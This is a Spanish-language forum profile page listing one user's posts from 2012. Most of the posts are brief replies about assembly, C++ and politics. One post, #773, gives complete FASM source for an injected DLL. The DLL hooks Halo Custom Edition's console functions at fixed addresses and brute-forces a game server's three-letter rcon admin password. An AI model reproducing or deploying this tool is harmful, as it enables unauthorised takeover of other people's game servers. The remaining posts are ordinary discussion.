Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - fary

#771
Claro, si agrandas la sección tienes que modificar tambien SizeOfImage y VirtualSize, sino  no te carga en memoria los datos nuevos que introduces... Por otra parte modifica mejor la sección de código y no la de la tabla de relocaciones.

un saludo.
#772
Programación C/C++ / Re: Juego snake en c++
7 Octubre 2012, 11:43 AM
Este tipo de juegos me parece que se hacen con un  array multidimensional del mapa, lo que facilita muchisimo las cosas... de la forma que lo haces no sería correcta.

un saludo.
#773
ASM / Source Halo Rcon Force Brute.
6 Octubre 2012, 12:09 PM
Bueno, aquí os dejo este código fuente de dicha herramienta que yo mismo programe.

Código (asm) [Seleccionar]
; Halo Rcon Ataque de Fuerza Bruta v0.1.
; Programación y Ing. Inversa por Juan fary, mas conocido con mDrinky
; 13 - Septiembre - 2012

; Nota: Cualquier consulta sobre las funciones nativas de Halo que aqui se utilizan
; las pueden consultar a mi correo: drinky.94@hotmail.com

; ADVERTENCIA: El autor de este programa no se hace responsable de la mala utilización que se le pueda dar a este software.

format PE GUI 4.0 DLL
entry DllEntryPoint
 
include 'win32ax.inc'
 
section '.code' code readable executable
 
proc DllEntryPoint hinstDLL,fdwReason,lpvReserved
cmp [fdwReason],1
jne salir

mov eax,[EstadoConsola]
mov byte[eax],1 ; Emulamos que la consola esta desplegada.

push Bienvenida
push string
xor eax,eax
call ImprimirVerdadero ; Imprimimos mensage de bienvenida
add esp,0x8

push Autor
push string
xor eax,eax
call ImprimirVerdadero ; Imprimimos autor
add esp,0x8

mov eax,[EstadoConsola]
mov byte[eax],0

invoke VirtualProtect,[Procesar],6,PAGE_EXECUTE_READWRITE,addr oPerm  ; hookeamos procesar

mov eax,[Procesar]

mov byte[eax],0x68 ; push
inc eax
mov dword[eax],mProcesar     ; direccion
add eax,4
mov byte[eax],0xC3     ; ret

invoke Sleep,1

invoke VirtualProtect,[Imprimir],6,PAGE_EXECUTE_READWRITE,addr oPerm  ; hookeamos imprimir

mov eax,[Imprimir]

mov byte[eax],0x68 ; push
inc eax
mov dword[eax],mImprimir     ; direccion
add eax,4
mov byte[eax],0xC3     ; ret


invoke GetCurrentProcess
invoke FlushInstructionCache,eax,NULL,NULL  ; refrescamos las instrucciones

salir:
ret
endp

ImprimirVerdadero:    ; Función para arreglar la funcion hookeada de imprimir
sub esp,0x10 ; 6 primeros bytes de la función imprimir
push edi
mov edi,eax

mov eax,[Imprimir]

add eax,6 ; Saltamos a la función original
jmp eax

mImprimir:
mov ebp,esp
push ebp

mov eax,dword[ebp+8]  ; eax = puntero a cadena que se iva a imprimir.

.if eax = 0
   pop ebp
   ret
.endif

cmp [HackOn],0
je  NoFiltro

; Hay que poner bandera a 1
.if byte[eax] = 'A'
   .if byte[eax+2] = 'c'
pop ebp
jmp SeguimosBus
   .endif
.endif

.if byte[eax] = 'r'
   .if byte[eax+2] = 'o'
pop ebp
SeguimosBus:
.if [Bandera] <> 1
   call SaltoSinFlujo
.endif
ret
   .endif
.endif

.if byte[eax] = 's'
   .if byte[eax+3] = 'r'
pop ebp

mov [Bandera],1

mov edi,LimpiarConsola
call ProcesarVerdadero ; Limpiamos la consola

push OkClave
push string
xor eax,eax
call ImprimirVerdadero
add esp,8

push ImprClave
push string
xor eax,eax
call ImprimirVerdadero
add esp,8

mov [HackOn],0

ret
   .endif
.endif

NoFiltro:

push eax
push string
xor eax,eax
call ImprimirVerdadero
add esp,0x8

pop ebp
ret

SaltoSinFlujo:

invoke TerminateThread,[HiloViejo],0
invoke CreateThread,0,0,DarFlujo,0,0,0
mov [HiloViejo],eax

ret

DarFlujo:

invoke Sleep,500

mov edi,LimpiarConsola
call ProcesarVerdadero ; Limpiamos la consola

jmp BucleClaves3
ret

mProcesar:
.if byte[edi] = 'm'
   .if byte[edi+4] = 'y'
call [CerrarConsola] ; Cerramos la consola para poder seguir jugando mientras

push Iniciando
push string
xor eax,eax
call ImprimirVerdadero ; Mensage informando que vamos a iniciar el forzado.
add esp,8

invoke CreateThread,0,0,mFB,0,0,0 ; Iniciarmos Hack!

mov [HackOn],1

ret
   .endif
.endif

call ProcesarVerdadero
ret

mFB:
mov edi,CadenaClave

mov [Letra1],64 ; Letra1 = Primer byte

BucleClaves:

inc [Letra1]

mov eax,CadenaClave
add eax,5

mov dl,byte[Letra1]
mov byte[eax],dl
mov byte[ImprClave],dl

mov [Letra2],64   ; Letra2 = Segundo byte

BucleClaves2:

inc [Letra2]
mov eax,CadenaClave
add eax,6

mov cl,byte[Letra2]
mov byte[eax],cl
mov byte[ImprClave+1],cl


mov [Letra3],64    ; Letra3 = Tercer Byte

BucleClaves3:
inc [Letra3]
mov eax,CadenaClave
add eax,7

mov bl,byte[Letra3]
mov byte[eax],bl
mov byte[ImprClave+2],bl

mov eax,[EstadoConsola]
mov byte[eax],1

push ImprClave
push string
xor eax,eax
call ImprimirVerdadero ; Imprimimos la Clave por la que vamos
add esp,0x8

mov edi,CadenaClave
call ProcesarVerdadero ; Procesamos la intruccion

; por aqui no se pueden poner Sleep porque el programa se salta las rcon

.if [Letra3] >= 90
    mov [Letra3],65
    inc [Letra2]

    mov eax,CadenaClave
    add eax,6

    mov cl,byte[Letra2]
    mov byte[eax],cl
    mov byte[ImprClave+1],cl
.endif

.if [Letra2] >= 90
   mov [Letra2],65
   inc [Letra1]
   mov eax,CadenaClave
   add eax,5

   mov dl,byte[Letra1]
   mov byte[eax],dl
   mov byte[ImprClave],dl
.endif

ret


ProcesarVerdadero:  ; Funcion Para Arreglar la funcion verdadera hookeada de procesar
mov al,byte[edi]  ; Primeros 10 bytes de la funcion procesar
sub esp,0x500
cmp al,0x3B

mov edx,[Procesar]

add edx,0xA ; Saltamos a la funcion procesar verdadera
jmp edx

section '.data' data readable writeable
Bienvenida      db '+ Fuerza Bruta para Halo Custom Edition está listo para usarse.',0
Autor      db '+ Programado por mDrinky.',0
CadenaClave      db 'rcon XXX sv_rcon_password',0 ; Hay que cambiar los bytes 6,7 y 8
ImprClave      db 0x0,0x0,0x0,0x0   ; Se sustitullen los 3 primeros bytes
LimpiarConsola      db 'cls',0
OkClave      db 'La rcon del servidor es:',0
string      db '%s',0
Iniciando      db 'Iniciando Fuerza Bruta al servidor!',0

Letra1      dd ?
Letra2      dd ?
Letra3      dd ?
oPerm      dd ?
HiloViejo      dd ?
Bandera      dd ?
HackOn      dd ?

EstadoConsola      dd 0x651E88  ; Direccion que contiene 1 byte indicando el estado de la consola ACTIVA/NO ACTIVA
Procesar      dd 0x4C9E10  ; Dirección de la funcion que procesa las instrucciones
CerrarConsola      dd 0x4C9980  ; Direccion de la funcion de ciera y abre la consola
Imprimir      dd 0x499BD0  ; Direccion de la funcion que imprime datos en pantalla

section '.idata' import data readable writeable
 library kernel,'KERNEL32.DLL',\
USER32,'USER32.DLL'

 import kernel,\
VirtualProtect,'VirtualProtect',\
CreateThread,'CreateThread',\
FlushInstructionCache,'FlushInstructionCache',\
GetCurrentProcess,'GetCurrentProcess',\
Sleep,'Sleep',\
TerminateThread,'TerminateThread'

 import USER32,\
MessageBoxA,'MessageBoxA'

section '.reloc' fixups data discardable


[youtube=425,350]http://www.youtube.com/watch?v=PaqGUNp_QV4[/youtube]

Tambien tengo algo implementado para evitar estos ataques, si alquien lo quiere que  avise!.



un saludo.
#774
Sino dices que quieres hacer nadie te va a ayudar... yo he visto el video y todavia nose que hace el programa  :xD

#775
@Dimitrix es un poco absurda tu postura de que la religión es historia... si fuera historia se daría en historia, pero que casualidad que no se da...

Lo que pasa que quieren seguir engatusando a la gente y ya no saben como porque ese chiste ya no se lo cree nadie... y por algún lado hay que tirar para llenar la cestilla de la misa todos los domingos jajajajaja (y que vallan niños a sus iglesias... que penoso.)
#776
Foro Libre / Re: Fallo brutal en Tuenti
26 Septiembre 2012, 15:03 PM
Sí, yo tambien me habia dado cuenta de esto jajajaja
#777
Cita de: Oblivi0n en 25 Septiembre 2012, 21:45 PM
....

No puedes permitir levantar un país asfixiando a la gente con mas subidas de impuestos, lo que genera es exactamente el efecto contrario de lo que quieren conseguir!!, si me suben cada vez mas las cosas consumire cada vez menos y cada vez cerraran mas empresas... no as pensado eso...?

Ademas de que los sueldos nunca suben, siempre bajan...

#778
Por si no te as dado cuenta un puntero a una cadena ya es un array de caracteres...
#780
ASM / Re: Duda de Assembly
25 Septiembre 2012, 18:14 PM
Cita de: Nop+ en 24 Septiembre 2012, 23:50 PM
Esta instrucción esta mal puesta, si tu quieres mover al registro dx, el contenido de BX, debes ponerlo así

Mov DX, Word ptr [EBX] ; pero ojo esto lo que hará es mover lo que hay en la direccion apuntada por ds:bx....


Lo correcto sería

lea ebx,[numero]     ; imagina que numero tiene el valor 6
mov dx, word ptr [ebx] ; moverá  6 a dx




Esa instrucción esta correctamente puesta ;)




Respondiendo al tema me imagino que quieres hacer algo así:

Código (asm) [Seleccionar]
mov dx,word ptr [sp]

Que claro que se puede hacer :)

Yo mas bien creo que tu error esta en usar la instruccion org varias veces.. eso creo que no se puede hacer  :-\

un saludo!